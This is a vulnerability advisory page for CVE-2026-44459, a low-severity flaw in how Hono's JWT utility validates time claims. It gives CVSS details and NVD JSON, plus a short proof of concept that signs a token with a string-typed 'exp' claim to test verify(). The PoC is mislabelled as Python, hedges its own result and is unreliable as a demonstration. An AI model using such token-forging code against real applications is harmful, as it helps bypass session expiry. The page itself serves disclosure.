Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-44459 CVSS 3.8 LOW

CVE-2026-44459

Published: 2026-05-13 16:16:58
Last Modified: 2026-05-13 18:21:48

Description

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, improper validation of the JWT NumericDate claims exp, nbf, and iat in hono/utils/jwt allows tokens with non-spec-compliant claim values to silently bypass time-based checks. This issue is not exploitable by an anonymous attacker; it only manifests when a malformed claim value reaches verify() β€” typically when the application itself issues such tokens, or when the signing key is otherwise under attacker control. This vulnerability is fixed in 4.12.18.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:* - VULNERABLE
Hono < 4.12.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-44459: Hono JWT NumericDate Validation Bypass // This demonstrates generating a JWT with a malformed 'exp' claim // that bypasses time-based checks in vulnerable versions (< 4.12.18). import { sign, verify } from 'hono/utils/jwt' const secret = 'secret-key' // Create a token with a non-spec compliant 'exp' claim (e.g., a string) // According to spec, 'exp' should be a NumericDate (number). // A vulnerable implementation might accept this string and fail to check expiration correctly. const payload = { exp: "999999999999999999", // String instead of number user: 'admin' } const malformedToken = await sign(payload, secret) console.log("Generated Malformed Token:", malformedToken) // Attempt to verify the token try { // In vulnerable versions, this might succeed or not check the time properly const decoded = await verify(malformedToken, secret) console.log("Verification Result:", decoded) console.log("VULNERABLE: Token with invalid exp type was accepted.") } catch (e) { console.log("SECURE: Token rejected:", e.message) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44459", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.970", "lastModified": "2026-05-13T18:21:48.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, improper validation of the JWT NumericDate claims exp, nbf, and iat in hono/utils/jwt allows tokens with non-spec-compliant claim values to silently bypass time-based checks. This issue is not exploitable by an anonymous attacker; it only manifests when a malformed claim value reaches verify() β€” typically when the application itself issues such tokens, or when the signing key is otherwise under attacker control. This vulnerability is fixed in 4.12.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.12.18", "matchCriteriaId": "5AB1A6FC-8475-4A23-9E63-46F3E6C5D264"}]}]}], "references": [{"url": "https://github.com/honojs/hono/security/advisories/GHSA-hm8q-7f3q-5f36", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}